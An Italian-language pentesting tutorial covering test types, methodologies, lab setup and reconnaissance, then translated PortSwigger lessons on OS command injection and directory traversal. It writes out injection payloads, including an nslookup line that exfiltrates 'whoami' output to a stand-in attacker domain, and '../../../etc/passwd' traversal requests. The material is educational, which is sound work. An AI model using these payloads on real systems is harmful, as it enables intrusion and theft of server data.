Nota: molti penetration tester ritengono che l’aspetto fisico del test sia il più divertente perché vengono essenzialmente pagati per entrare nella struttura di un obiettivo. Questo tipo di test può aiutare a evidenziare eventuali punti deboli nel perimetro fisico nonché eventuali meccanismi di sicurezza presenti, come guardie, cancelli e recinzioni. Il risultato dovrebbe essere una valutazione dei controlli di sicurezza fisica esterni. La maggior parte dei compromessi oggi inizia con una sorta di attacco di ingegneria sociale. Potrebbe trattarsi di una telefonata, un’e-mail, un sito Web, un messaggio SMS e così via. È importante testare come i tuoi dipendenti gestiscono questo tipo di situazioni. Questo tipo di test viene spesso omesso dall’ambito di un test di penetrazione principalmente perché coinvolge principalmente il test delle persone anziché della tecnologia. Nella maggior parte dei casi il management non è d’accordo con questo tipo di approccio. Tuttavia, è importante avere una visione reale degli ultimi metodi di attacco. Il risultato di un test di ingegneria sociale dovrebbe essere quello di valutare il programma di sensibilizzazione alla sicurezza in modo da poterlo migliorare. Non dovrebbe servire a identificare gli individui che non superano il test. Uno degli strumenti di cui parleremo di più in un modulo successivo è il Social-Engineer Toolkit (SET), creato da Dave Kennedy. Questo è un ottimo strumento per eseguire campagne di test di ingegneria sociale.

Suggerimento: i programmi Bug Bounty consentono ai ricercatori di sicurezza e ai penetration tester di ottenere un riconoscimento (e spesso un compenso monetario) per aver individuato vulnerabilità in siti Web, applicazioni o qualsiasi altro tipo di sistema. Aziende come Microsoft, Apple e Cisco e persino istituzioni governative come il Dipartimento della Difesa degli Stati Uniti (DoD) utilizzano programmi di bug bounty per premiare i professionisti della sicurezza quando trovano vulnerabilità nei loro sistemi. Molte società di sicurezza, come HackerOne, Bugcrowd, Intigriti e SynAck, forniscono piattaforme per aziende e professionisti della sicurezza per partecipare a programmi bug bounty. Questi programmi sono diversi dai tradizionali test di penetrazione, ma hanno un obiettivo simile: individuare le vulnerabilità della sicurezza per consentire all’organizzazione di risolverle prima che gli aggressori possano sfruttare tali vulnerabilità. Suggerimenti e risorse per la ricompensa dei bug nel seguente repository GitHub: https://github.com/The-Art-of-Hacking/h4cker/tree/master/bug-bounties.

Quando si parla di metodi di penetration test, è probabile che si sentano i termini ambiente sconosciuto (precedentemente noto come black-box), ambiente noto (precedentemente noto come white-box) e ambiente parzialmente noto (precedentemente noto come grey-box). test. Questi termini vengono utilizzati per descrivere la prospettiva da cui viene eseguito il test, nonché la quantità di informazioni fornite al tester:

Test in ambiente sconosciuto

In un test di penetrazione in un ambiente sconosciuto, al tester viene generalmente fornita solo una quantità molto limitata di informazioni. Ad esempio, al tester possono essere forniti solo i nomi di dominio e gli indirizzi IP che rientrano nell’ambito di un particolare target. L’idea di questo tipo di limitazione è di far sì che il tester inizi con la prospettiva che potrebbe avere un utente malintenzionato esterno. In genere, un utente malintenzionato individua innanzitutto un obiettivo e quindi inizia a raccogliere informazioni sull’obiettivo, utilizzando informazioni pubbliche, e ottiene sempre più informazioni da utilizzare negli attacchi. Il tester non avrebbe una conoscenza preliminare dell’organizzazione e dell’infrastruttura del target. Un altro aspetto dei test in ambiente sconosciuto è che a volte il personale di supporto di rete del target potrebbe non ricevere informazioni su quando esattamente avrà luogo il test. Ciò consente anche lo svolgimento di un esercizio di difesa ed elimina il problema di un bersaglio che si prepara per il test e non fornisce una visione del mondo reale di come appare realmente la situazione di sicurezza.

Test dell’ambiente noto

In un penetration test in un ambiente noto, il tester inizia con una quantità significativa di informazioni sull’organizzazione e sulla sua infrastruttura. Al tester verrebbero normalmente forniti elementi come diagrammi di rete, indirizzi IP, configurazioni e un set di credenziali utente. Se l’ambito include una valutazione dell’applicazione, al tester potrebbe essere fornito anche il codice sorgente dell’applicazione di destinazione. L’idea di questo tipo di test è identificare il maggior numero possibile di buchi di sicurezza. In un test in un ambiente sconosciuto, lo scopo potrebbe essere solo quello di identificare un percorso all’interno dell’organizzazione e fermarsi lì. Con i test in ambienti noti, l’ambito è in genere molto più ampio e include il controllo della configurazione della rete interna e la scansione dei computer desktop per individuare eventuali difetti. Tempo e denaro sono in genere fattori decisivi nella determinazione del tipo di test di penetrazione da completare. Se un’azienda ha preoccupazioni specifiche su un’applicazione, un server o un segmento dell’infrastruttura, può fornire informazioni su quell’obiettivo specifico per ridurre la portata e la quantità di tempo dedicato al test ma ottenere comunque i risultati desiderati. Con la sofisticatezza e le capacità degli avversari attuali, è probabile che la maggior parte delle reti prima o poi venga compromessa e un approccio white-box non è una cattiva opzione.

Test ambientale parzialmente noto

Un test di penetrazione in un ambiente parzialmente noto è in qualche modo un approccio ibrido tra test in ambiente sconosciuto e noto. Con i test dell’ambiente parzialmente noto, ai tester potrebbero essere fornite le credenziali ma non la documentazione completa dell’infrastruttura di rete. Ciò consentirebbe ai tester di fornire comunque i risultati dei loro test dal punto di vista di un aggressore esterno. Considerando il fatto che la maggior parte delle compromissioni iniziano dal client e si diffondono attraverso la rete, un buon approccio sarebbe un ambito in cui i tester iniziano dall’interno della rete e hanno accesso a una macchina client. Quindi potrebbero ruotare all’interno della rete per determinare quale sarebbe l’impatto di una compromissione.

Types of Penetration Tests – Indagine su standard e metodologie diverse

Esistono numerose metodologie di test di penetrazione in circolazione da un po’ di tempo e continuano ad essere aggiornate man mano che emergono nuove minacce.

Di seguito è riportato un elenco di alcune delle metodologie di test di penetrazione più comuni e di altri standard:

MITRE ATT&CK

Il framework MITRE ATT&CK (https://attack.mitre.org) è una risorsa straordinaria per conoscere le tattiche, le tecniche e le procedure (tactics, techniques, and procedures -TTP) di un avversario. Sia i professionisti della sicurezza offensiva (penetration tester, red teamer, cacciatori di bug e così via) che gli addetti alla risposta agli incidenti e i team di caccia alle minacce utilizzano oggi il framework MITRE ATT&CK. Il framework MITRE ATT&CK è una raccolta di diverse matrici di tattiche, tecniche e sottotecniche. Queste matrici, tra cui Enterprise ATT&CK Matrix, Network, Cloud, ICS e Mobile, elencano le tattiche e le tecniche utilizzate dagli avversari mentre si preparano a un attacco, inclusa la raccolta di informazioni (intelligence open source [OSINT], identificazione delle debolezze tecniche e delle persone, e altro) nonché diverse tecniche di sfruttamento e post-sfruttamento.

OWASP WSTG

La OWASP Web Security Testing Guide (WSTG) è una guida completa focalizzata sul test delle applicazioni web. È una raccolta di molti anni di lavoro dei membri OWASP. OWASP WSTG copre le fasi di alto livello dei test di sicurezza delle applicazioni web e approfondisce i metodi di test utilizzati. Ad esempio, arriva fino a fornire vettori di attacco per testare attacchi cross-site scripting (XSS), attacchi XML external entità (XXE), cross-site request forgery (CSRF) e attacchi SQL injection; nonché su come prevenire e mitigare questi attacchi. Dal punto di vista dei test di sicurezza delle applicazioni web, OWASP WSTG è la guida più dettagliata e completa disponibile. Puoi trovare OWASP WSTG e le relative informazioni sul progetto su https://owasp.org/www-project-web-security-testing-guide/.

NIST SP 800-115

La pubblicazione speciale (SP) 800-115 è un documento creato dal National Institute of Standards and Technology (NIST), che fa parte del Dipartimento del commercio degli Stati Uniti. NIST SP 800-115 fornisce alle organizzazioni linee guida sulla pianificazione e la conduzione di test sulla sicurezza delle informazioni. Ha sostituito il precedente documento standard, SP 800-42. SP 800-115 è considerato uno standard di settore per la guida ai test di penetrazione ed è citato in molti altri standard e documenti di settore. È possibile accedere al NIST SP 800-115 all’indirizzo https://csrc.nist.gov/publications/detail/sp/800-115/final.

OSSTMM

Il Manuale della metodologia di test della sicurezza open source (Open Source Security Testing Methodology Manual – OSSTMM), sviluppato da Pete Herzog, esiste da molto tempo. Distribuito dall’Institute for Security and Open Methodologies (ISECOM), l’OSSTMM è un documento che definisce test di sicurezza ripetibili e coerenti (https://www.isecom.org). L’OSSTMM ha le seguenti sezioni chiave:

  • Operational Security Metrics
  • Trust Analysis
  • Work Flow
  • Human Security Testing
  • Physical Security Testing
  • Wireless Security Testing
  • Telecommunications Security Testing
  • Data Networks Security Testing
  • Compliance Regulations
  • Reporting with the Security Test Audit Report (STAR)

PTES

Il Penetration Testing Execution Standard (PTES) (http://www.pentest-standard.org) fornisce informazioni sui tipi di attacchi e metodi e fornisce informazioni sugli strumenti più recenti disponibili per eseguire i metodi di test. PTES prevede sette fasi distinte:

  1. Pre-engagement interactions
  2. Intelligence gathering
  3. Threat modeling
  4. Vulnerability analysis
  5. Exploitation
  6. Post-exploitation
  7. Reporting

ISSAF

L’Information Systems Security Assessment Framework (ISSAF) è un’altra metodologia di test di penetrazione simile alle altre presenti in questo elenco con alcune fasi aggiuntive. ISSAF copre le seguenti fasi:

  • Information gathering
  • Network mapping
  • Vulnerability identification
  • Penetration
  • Gaining access and privilege escalation
  • Enumerating further
  • Compromising remote users/sites
  • Maintaining access
  • Covering the tracks

Confronta le metodologie di Pentesting

Ci sono così tante parti in movimento in un test di penetrazione che è facile perdere traccia di ciò che è stato trattato e di ciò che non lo è stato.

Nessuna singola metodologia è adatta ai requisiti di ogni incarico; tuttavia è importante fondare la propria attività su standard e metodologie sviluppate da organizzazioni di sicurezza ed esperti riconosciuti.

Costruisci il tuo laboratorio

Le abilità si acquisiscono con la pratica, ma come puoi esercitarti se non hai qualcosa su cui farlo?

Quando si tratta di test di penetrazione, un ambiente di laboratorio adeguato è molto importante. L’aspetto di questo ambiente dipende dal tipo di test che stai eseguendo. Anche i tipi di strumenti utilizzati in un laboratorio variano in base a diversi fattori. Qui tocchiamo solo alcuni dei tipi di strumenti utilizzati nei penetration test. Che tu stia eseguendo test di penetrazione sulla rete di un cliente, sulla tua rete o su un dispositivo specifico, hai sempre bisogno di un qualche tipo di ambiente di laboratorio da utilizzare per i test. Ad esempio, quando si testa la rete di un cliente, molto probabilmente si eseguirà la maggior parte dei test sugli ambienti di produzione o di staging del cliente perché questi sono gli ambienti di cui un cliente si preoccupa in genere di proteggere adeguatamente. Poiché questo potrebbe essere un ambiente di rete critico, devi essere sicuro che i tuoi strumenti siano collaudati e veri – ed è qui che entra in gioco il tuo ambiente di test di laboratorio. Dovresti sempre testare i tuoi strumenti e le tue tecniche nel tuo ambiente di laboratorio prima di eseguirli contro un cliente rete. Non vi è alcuna garanzia che gli strumenti utilizzati non rompano qualcosa. In effetti, molti strumenti sono progettati per “rompere le cose”. È quindi necessario sapere cosa aspettarsi prima di utilizzare gli strumenti su una rete di clienti. Quando si testa un dispositivo o una soluzione specifica che si trova solo in un ambiente di laboratorio, c’è meno preoccupazione di danneggiare qualcosa. Con questo tipo di test, in genere si utilizza una rete chiusa che può essere facilmente ripristinata se necessario.

Esistono molte distribuzioni Linux diverse che includono strumenti e risorse per test di penetrazione, come Kali Linux (kali.org), Parrot OS (parrotsec.org) e BlackArch (blackarch.org). Queste distribuzioni Linux forniscono un ambiente molto conveniente per iniziare a conoscere i diversi strumenti e metodologie di sicurezza utilizzati nei pen test. Puoi implementare un laboratorio di test di penetrazione basico utilizzando solo un paio di VM in ambienti di virtualizzazione come Virtual Box (virtualbox.org) o VMware Workstation/Fusion (vmware.com).

La Figura 1-1 mostra due VM (una con sistema operativo Parrot e un’altra con un sistema Microsoft Windows vulnerabile). Le due VM sono connesse tramite una configurazione di switch virtuale e una “rete solo host”. Questo tipo di configurazione consente di eseguire diversi attacchi e inviare pacchetti IP tra VM senza che tali pacchetti lascino il sistema fisico (bare metal).

Figura 1-1 – Ambiente di laboratorio di Penetration Testing di base con due VM.

Suggerimento: è possibile avviare un laboratorio di apprendimento di base con una sola VM. Ad esempio, Omar Santos ha creato un ambiente di apprendimento gratuito chiamato WebSploit Labs che puoi distribuire su una singola VM. Include numerose risorse, strumenti di sicurezza informatica e diverse applicazioni intenzionalmente vulnerabili in esecuzione nei contenitori Docker. WebSploit Labs include più di 450 esercizi diversi che puoi completare per mettere in pratica le tue abilità in un ambiente sicuro. È possibile ottenere ulteriori informazioni su WebSploit Labs su websploit.org. La VM scaricata nel lab più avanti in questo argomento è una versione personalizzata dell’ambiente lab di Omar Santos.

La Figura 1-2 mostra una topologia più elaborata per un ambiente di laboratorio di test di penetrazione.

Requisiti e linee guida per i laboratori di penetration testing

Ora analizziamo un po’ più a fondo come potrebbe apparire un ambiente di laboratorio per test di penetrazione e alcune best practice per la creazione di un laboratorio di questo tipo. La tabella seguente contiene un elenco di requisiti e linee guida per un tipico ambiente di test di penetrazione.

Requisiti o linee guidaDescrizione
Network chiusoÈ necessario garantire un accesso controllato da e verso l’ambiente di laboratorio e un accesso limitato a Internet
Ambiente informatico virtualizzatoCiò consente una facile distribuzione e ripristino dei dispositivi sottoposti a test
Ambiente realisticoSe stai allestendo un ambiente di test, dovrebbe corrispondere il più fedelmente possibile all’ambiente reale
Monitoraggio della “salute”Quando qualcosa si blocca, devi essere in grado di determinare il motivo per cui è successo
Risorse hardware sufficientiÈ necessario essere sicuri che la mancanza di risorse non sia la causa di risultati falsi
Sistemi operativi multipliMolte volte vorrai testare o convalidare un risultato da un altro sistema. È sempre bene eseguire test su diversi sistemi operativi per vedere se i risultati differiscono
Strumenti duplicatiUn ottimo modo per convalidare un risultato è eseguire lo stesso test con uno strumento diverso per vedere se i risultati sono gli stessi
Obiettivi praticiDevi esercitarti a usare i tuoi strumenti. Per fare ciò, è necessario esercitarsi su obiettivi noti per essere vulnerabili
Elenco di requisiti e linee guida per un tipico ambiente di test di penetrazione

Quali strumenti dovresti utilizzare nel tuo laboratorio?

Ci dedicheremo appieno agli strumenti di penetration testing in seguito. Pertanto, questa sezione “graffia” solo la superficie. Fondamentalmente, gli strumenti utilizzati nei test di penetrazione dipendono dal tipo di test che stai eseguendo. Se stai eseguendo test nell’ambiente di un cliente, probabilmente valuterai varie superfici di attacco, come ad esempio l’infrastruttura di rete, l’infrastruttura wireless, i server Web, i server di database, i sistemi Windows o i sistemi Linux.

Gli strumenti basati sull’infrastruttura di rete potrebbero includere strumenti per lo sniffing o la manipolazione del traffico, inondando i dispositivi di rete e aggirando firewall e IPS. A scopo di test wireless, potresti utilizzare strumenti per violare la crittografia wireless, rimuovere l’autorizzazione dei dispositivi di rete ed eseguire attacchi sul percorso (chiamati anche attacchi man-in-the-middle).

Quando si testano applicazioni e servizi web, è possibile trovare una serie di strumenti automatizzati creati appositamente per la scansione e il rilevamento delle vulnerabilità web, nonché strumenti di test manuali come i proxy di intercettazione. Alcuni di questi stessi strumenti possono essere utilizzati per verificare le vulnerabilità del database (come le vulnerabilità SQL injection).

Per testare le piattaforme server e client in un ambiente, è possibile utilizzare una serie di strumenti automatizzati di scansione delle vulnerabilità per identificare elementi come software obsoleto e configurazioni errate. Con l’intenso sviluppo rivolto alle piattaforme mobili, c’è una crescente necessità di testare queste applicazioni e i server che le supportano. Per tali test, è necessario un altro set di strumenti specifici per testare le applicazioni mobili e le API back-end con cui in genere comunicano. E non bisogna dimenticare gli strumenti di fuzzing, che vengono normalmente utilizzati per testare la robustezza dei protocolli.

Suggerimento: Omar Santos ha creato un repository GitHub che include numerose risorse sulla sicurezza informatica. È presente una sezione dedicata a fornire indicazioni su come costruire diversi laboratori di test di penetrazione e dove trovare applicazioni, server e strumenti vulnerabili per esercitare le proprie capacità in un ambiente sicuro. È possibile accedere al repository su https://h4cker.org/github. Puoi accedere direttamente alla sezione “Building Your Own Cybersecurity Lab and Cyber ​​Range” su https://github.com/The-Art-of-Hacking/h4cker/tree/master/build_your_own_lab.

Cosa succede se rompi qualcosa?

Essere in grado di ripristinare l’ambiente di laboratorio è importante per molte ragioni. Come discusso in precedenza, quando si eseguono test di penetrazione, si rompono le cose; a volte quando rompi le cose, non si riprendono da sole. Ad esempio, quando stai testando applicazioni web, alcuni degli attacchi che invii inseriranno dati fasulli nei campi del modulo e tali dati probabilmente finiranno nel database, quindi il tuo database sarà riempito con quei dati fasulli. Ovviamente, in un ambiente di produzione, questa non è una buona cosa. I dati immessi possono anche essere di natura dannosa, come attacchi di scripting e injection. Ciò può causare anche il danneggiamento del database. Naturalmente, sai che questo sarebbe un problema in un ambiente di produzione. È un problema anche in un ambiente di laboratorio se non si dispone di un modo semplice per il ripristino. Senza un metodo di ripristino rapido, probabilmente rimarresti bloccato nella ricostruzione del sistema sottoposto a test. Questo può richiedere molto tempo e, se lo stai facendo per un cliente, può influire sulla tua sequenza temporale complessiva.

L’utilizzo di un qualche tipo di ambiente virtuale è l’ideale in quanto offre funzionalità di snapshot e ripristino dello stato del sistema. A volte, però, questo non è possibile. Ad esempio, potresti testare un sistema che non può essere virtualizzato. In tal caso, è necessario disporre di un backup completo del sistema o dell’ambiente. In questo modo, puoi tornare rapidamente indietro e testare se qualcosa si danneggia, perché molto probabilmente lo farà. Dopotutto, stai eseguendo test di penetrazione.

Raccolta di informazioni e scansione delle vulnerabilità

Introduzione

Il primo passo che un autore di minacce compie quando pianifica un attacco è raccogliere informazioni sull’obiettivo. Questo atto di raccolta di informazioni è noto come ricognizione. Gli aggressori utilizzano strumenti di scansione ed enumerazione insieme alle informazioni pubbliche disponibili su Internet per creare un dossier su un obiettivo. Come puoi immaginare, come penetration tester, devi anche replicare questi metodi per determinare l’esposizione delle reti e dei sistemi che stai cercando di difendere. Questo modulo inizia con una discussione su cosa sia la ricognizione in generale e sulla differenza tra metodi passivi e attivi. Imparerai brevemente alcuni degli strumenti e delle tecniche più comuni utilizzati. Da lì, il modulo approfondisce il processo di scansione delle vulnerabilità e il funzionamento degli strumenti di scansione, incluso come analizzare i risultati dello scanner delle vulnerabilità per fornire risultati utili ed esplorare il processo di sfruttamento delle informazioni raccolte nella fase di sfruttamento. Il modulo si conclude con la trattazione di alcune delle sfide più comuni da considerare quando si eseguono scansioni di vulnerabilità.

Effettuare la Ricognizione Passiva

Ricognizione

La ricognizione è sempre il primo passo in un attacco informatico. Un aggressore deve prima raccogliere informazioni sul bersaglio per avere successo. In effetti, il termine ricognizione è ampiamente utilizzato nel mondo militare per descrivere la raccolta di informazioni sul nemico, come informazioni sulla posizione, sulle capacità e sui movimenti del nemico. Questo tipo di informazioni è necessario per eseguire con successo un attacco. La ricognizione in un impegno di test di penetrazione consiste tipicamente nella scansione e nell’enumerazione. Ma che aspetto ha la ricognizione dal punto di vista di un attaccante?

Ricognizione Attiva vs. Ricognizione Passiva

La ricognizione attiva è un metodo di raccolta di informazioni in cui gli strumenti utilizzati inviano effettivamente sonde alla rete o ai sistemi target per ottenere risposte che vengono poi utilizzate per determinare la posizione della rete o del sistema. Queste sonde possono utilizzare vari protocolli e più livelli di aggressività, in genere in base a cosa viene scansionato e quando. Ad esempio, potresti eseguire la scansione di un dispositivo come una stampante che non dispone di uno stack TCP/IP o di un hardware di rete molto robusto. Inviando sonde attive, potresti mandare in crash un dispositivo del genere. La maggior parte dei dispositivi moderni non presenta questo problema; tuttavia, è possibile, quindi quando si esegue la scansione attiva, è necessario esserne consapevoli e regolare di conseguenza le impostazioni dello scanner.

La ricognizione passiva è un metodo di raccolta di informazioni in cui gli strumenti non interagiscono direttamente con il dispositivo o la rete di destinazione. Esistono molteplici metodi di ricognizione passiva. Alcuni implicano l’utilizzo di database di terze parti per raccogliere informazioni. Altri utilizzano anche strumenti in modo tale da non essere rilevati dal bersaglio. Questi strumenti, in particolare, funzionano semplicemente ascoltando il traffico sulla rete e utilizzando l’intelligenza per dedurre informazioni sulla comunicazione dei dispositivi in ​​rete. Questo approccio è molto meno invasivo su una rete ed è altamente improbabile che questo tipo di ricognizione possa mandare in crash un sistema come una stampante. Dato che non produce traffico, è improbabile che venga rilevato e non solleva alcun flag sulla rete che sta monitorando. Un altro scenario in cui uno scanner passivo potrebbe rivelarsi utile sarebbe quello per un penetration tester che deve eseguire analisi su una rete di produzione che non può essere interrotta. La tecnica di ricognizione passiva che utilizzi dipende dal tipo di informazioni che desideri ottenere. Uno degli aspetti più importanti dell’apprendimento dei penetration test è lo sviluppo di una buona metodologia che ti aiuterà a selezionare gli strumenti e le tecnologie appropriati da utilizzare durante il coinvolgimento.

Gli strumenti e i metodi comuni di ricognizione attiva includono quanto segue:

  • Host enumeration
  • Network enumeration
  • User enumeration
  • Group enumeration
  • Network share enumeration
  • Web page enumeration
  • Application enumeration
  • Service enumeration
  • Packet crafting

Gli strumenti e i metodi comuni di ricognizione passiva includono quanto segue:

  • Domain enumeration
  • Packet inspection
  • Open-source intelligence (OSINT)
  • Recon-ng
  • Eavesdropping

OS command injection

PortSwigger Academy – OS command injection

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”.

OS command injection

In questa sezione spiegheremo cos’è l’OS command injection, descriveremo come le vulnerabilità possono essere rilevate e sfruttate, spiegheremo alcuni comandi e tecniche utili per diversi sistemi operativi e riassumeremo come prevenire l’OS command injection.

Che cos’è l’OS command injection?

L’OS command injection (nota anche come iniezione della shell) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di eseguire comandi arbitrari del sistema operativo (OS) sul server che esegue un’applicazione e in genere di compromettere completamente l’applicazione e tutti i suoi dati. Molto spesso, un utente malintenzionato può sfruttare una vulnerabilità legata all’OS command injection per compromettere altre parti dell’infrastruttura di hosting, sfruttando le relazioni di fiducia per indirizzare l’attacco verso altri sistemi all’interno dell’organizzazione.

Esecuzione di comandi arbitrari

Consideriamo un’applicazione per lo shopping che consenta all’utente di visualizzare se un articolo è disponibile in un particolare negozio. È possibile accedere a queste informazioni tramite un URL come:

https://insecure-website.com/stockStatus?productID=381&storeID=29

Per fornire le informazioni sulle scorte, l’applicazione deve interrogare vari sistemi legacy. Per ragioni storiche, la funzionalità viene implementata richiamando un comando di shell con gli ID del prodotto e del negozio come argomenti:

stockreport.pl 381 29

Questo comando restituisce lo stato delle scorte per l’articolo specificato, che viene restituito all’utente.

Poiché l’applicazione non implementa difese contro l’OS command injection, un utente malintenzionato può inviare il seguente input per eseguire un comando arbitrario:

& echo aiwefwlguh &

Se questo input viene inviato nel parametro productID, il comando eseguito dall’applicazione è:

stockreport.pl & echo aiwefwlguh & 29

Il comando echo fa semplicemente sì che la stringa fornita venga ripetuta nell’output ed è un modo utile per testare alcuni tipi di command injection del sistema operativo. Il carattere & è un separatore di comandi della shell, quindi ciò che viene eseguito sono in realtà tre comandi separati uno dopo l’altro. Di conseguenza, l’output restituito all’utente è:

Error - productID was not provided
aiwefwlguh
29: command not found

Le tre linee di output dimostrano che:

  • Il comando stockreport.pl originale è stato eseguito senza gli argomenti previsti e quindi ha restituito un messaggio di errore.
  • Il comando echo inserito è stato eseguito e la stringa fornita è stata riprodotta nell’output.
  • L’argomento originale 29 è stato eseguito come comando, causando un errore.

Posizionare il separatore & dopo il comando inserito è generalmente utile perché separa il comando inserito da tutto ciò che segue il punto di iniezione. Ciò riduce la probabilità che quello che segue impedisca l’esecuzione del comando inserito.

Lab: OS command injection, simple case

Comandi utili

Una volta identificata una vulnerabilità di command injection del sistema operativo, è generalmente utile eseguire alcuni comandi iniziali per ottenere informazioni sul sistema che è stato compromesso. Di seguito è riportato un riepilogo di alcuni comandi utili sulle piattaforme Linux e Windows:

Scopo del comandoLinuxWindows
Nome dell’utente correntewhoamiwhoami
Sistema operativouname -aver
Configurazione di reteifconfigipconfig /all
Connessioni di retenetstat -annetstat -an
Processi in esecuzioneps -eftasklist
Comandi utili

Vulnerabilità Blind OS command injection

Molti casi di command injection del sistema operativo sono vulnerabilità cieche. Ciò significa che l’applicazione non restituisce l’output del comando all’interno della sua risposta HTTP. Le vulnerabilità cieche possono ancora essere sfruttate, ma sono necessarie tecniche diverse.

Considera un sito web che consenta agli utenti di inviare feedback sul sito. L’utente inserisce il proprio indirizzo e-mail e il messaggio di feedback. L’applicazione lato server genera quindi un’e-mail all’amministratore del sito contenente il feedback. Per fare ciò, chiama il programma di posta con i dettagli inviati. Per esempio:

mail -s “This site is great” -aFrom:peter@normal-user.net feedback@vulnerable-website.com

L’output del comando mail (se presente) non viene restituito nelle risposte dell’applicazione, pertanto l’utilizzo del payload echo non sarebbe efficace. In questa situazione, è possibile utilizzare una serie di altre tecniche per rilevare e sfruttare una vulnerabilità.

Rilevamento del blind OS command injection utilizzando ritardi temporali

È possibile utilizzare un comando iniettato che attiverà un ritardo temporale, consentendo di confermare che il comando è stato eseguito in base al tempo impiegato dall’applicazione per rispondere. Il comando ping è un modo efficace per farlo, poiché consente di specificare il numero di pacchetti ICMP da inviare e quindi il tempo impiegato per l’esecuzione del comando:

& ping -c 10 127.0.0.1 &

Questo comando farà sì che l’applicazione esegua il ping della scheda di rete loopback per 10 secondi.

Lab: Blind OS command injection with time delays

Sfruttare il blind OS command injection reindirizzando l’output

Puoi reindirizzare l’output del comando inserito in un file all’interno della radice web che puoi quindi recuperare utilizzando il browser. Ad esempio, se l’applicazione fornisce risorse statiche dalla posizione del file system /var/www/static, puoi inviare il seguente input:

& whoami > /var/www/static/whoami.txt &

Il carattere > invia l’output del comando whoami al file specificato. È quindi possibile utilizzare il browser per recuperare https://vulnerable-website.com/whoami.txt per recuperare il file e visualizzare l’output del comando inserito.

Lab: Blind OS command injection with output redirection

Sfruttare il blind OS command injection utilizzando tecniche fuori banda (OAST).

Puoi utilizzare un command injection che attiverà un’interazione di rete fuori banda con un sistema da te controllato, utilizzando le tecniche OAST.. Per esempio:

& nslookup kgji2ohoyw.web-attacker.com &

Questo payload utilizza il comando nslookup per provocare una ricerca DNS per il dominio specificato. L’aggressore può monitorare il verificarsi della ricerca specificata e quindi rilevare che il comando è stato inserito con successo.

Lab: Blind OS command injection with out-of-band interaction

Il canale fuori banda fornisce anche un modo semplice per estrarre l’output dai comandi inseriti:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Ciò causerà una ricerca DNS nel dominio dell’aggressore contenente il risultato del comando whoami:

wwwuser.kgji2ohoyw.web-attacker.com

Lab: Blind OS command injection with out-of-band data exfiltration

Modi per inserire OS command injection

È possibile utilizzare una varietà di metacaratteri della shell per eseguire attacchi di command injection del sistema operativo.

Un certo numero di caratteri funziona come separatori di comandi, consentendo di concatenare i comandi. I seguenti separatori di comandi funzionano sia sui sistemi basati su Windows che su Unix:

&

&&

|

||

I seguenti separatori di comandi funzionano solo su sistemi basati su Unix:

;

Nuova riga (0x0a oppure \n)

Sui sistemi basati su Unix, puoi anche utilizzare i backtick o il carattere del dollaro per eseguire l’esecuzione in linea di un comando inserito all’interno del comando originale:

`

comando iniettato `

$ (

comando iniettato)

Si noti che i diversi metacaratteri della shell hanno comportamenti leggermente diversi che potrebbero influenzare il loro funzionamento in determinate situazioni.

A volte, l’input che controlli appare tra virgolette nel comando originale. In questa situazione, è necessario terminare il contesto citato (utilizzando oppure ) prima di utilizzare i metacaratteri della shell adatti per inserire un nuovo comando.

Come prevenire gli attacchi di OS command injection

Di gran lunga il modo più efficace per prevenire le vulnerabilità di OS command injection è non richiamare mai i comandi del sistema operativo dal codice a livello di applicazione. Praticamente in ogni caso, esistono modi alternativi per implementare la funzionalità richiesta utilizzando API della piattaforma più sicure.

Se si ritiene inevitabile richiamare i comandi del sistema operativo con l’input fornito dall’utente, è necessario eseguire una valida convalida dell’input. Alcuni esempi di validazione efficace includono:

  • Convalida rispetto a una whitelist di valori consentiti.
  • Convalidare che l’input è un numero.
  • Convalidare che l’input contenga solo caratteri alfanumerici, nessun’altra sintassi o spazi bianchi.

Non tentare mai di ripulire l’input eseguendo l’escape dei metacaratteri della shell. In pratica, questo è semplicemente troppo soggetto a errori e vulnerabile alle attività di un utente malintenzionato esperto.

Per saperne di più

Directory traversal

PortSwigger Academy – Directory traversal

Continua il percorso di apprendimento suggerito da “PortSwigger Academy”. Consiglio di iscriversi alla piattaforma, seguire le lezioni e soprattutto svolgere e completare i lab 🙂

Directory traversal

In questa sezione spiegheremo cos’è il “directory traversal” o “path traversal”, descriveremo come eseguire attacchi di directory traversal e aggirare gli ostacoli comuni e spiegheremo come prevenire tali vulnerabilità.

Cos’è il directory traversal?

L’attraversamento delle directory “directory traversal” (noto anche come attraversamento del percorso dei file “path traversal”) è una vulnerabilità della sicurezza Web che consente a un utente malintenzionato di leggere file arbitrari sul server su cui è in esecuzione un’applicazione. Ciò potrebbe includere codice e dati dell’applicazione, credenziali per sistemi back-end e file sensibili del sistema operativo. In alcuni casi, un utente malintenzionato potrebbe essere in grado di scrivere su file arbitrari sul server, consentendogli di modificare i dati o il comportamento dell’applicazione e, infine, di assumere il pieno controllo del server.

Lettura di file arbitrari tramite directory traversal

Considera un’applicazione per lo shopping che visualizza immagini di articoli in vendita. Le immagini vengono caricate tramite codice HTML come il seguente:

<img src="/loadImage?filename=218.png">

L’URL loadImage accetta un parametro filename e restituisce il contenuto del file specificato. I file immagine stessi sono archiviati su disco nella posizione /var/www/images/. Per restituire un’immagine, l’applicazione aggiunge il filename richiesto a questa directory di base e utilizza un’API del file system per leggere il contenuto del file. Nel caso precedente, l’applicazione legge dal seguente percorso:

/var/www/images/218.png

L’applicazione non implementa difese contro gli attacchi di directory traversal, quindi un utente malintenzionato può richiedere il seguente URL per recuperare un file arbitrario dal file system del server:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Ciò fa sì che l’applicazione legga dal seguente percorso di file:

/var/www/images/../../../etc/passwd

La sequenza ../ è valida all’interno di un percorso di file e significa salire di un livello nella struttura delle directory. Le tre sequenze ../ consecutive salgono da /var/www/images/ alla root del filesystem, e quindi il file che viene effettivamente letto è:

/etc/passwd

Sui sistemi operativi basati su Unix, questo è un file standard contenente i dettagli degli utenti registrati sul server.

Su Windows, sia ../ che ..\ sono sequenze di directory traversal valide e un attacco equivalente per recuperare un file del sistema operativo standard sarebbe:

https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini

Lab: File path traversal, simple case

Ostacoli comuni allo sfruttamento delle vulnerabilità del file path traversal

Molte applicazioni che inseriscono l’input dell’utente nei percorsi dei file implementano una sorta di difesa contro gli attacchi di path traversal e questi possono spesso essere aggirati.

Se un’applicazione rimuove o blocca le sequenze di directory traversal dal nome file fornito dall’utente, potrebbe essere possibile aggirare la difesa utilizzando una varietà di tecniche.

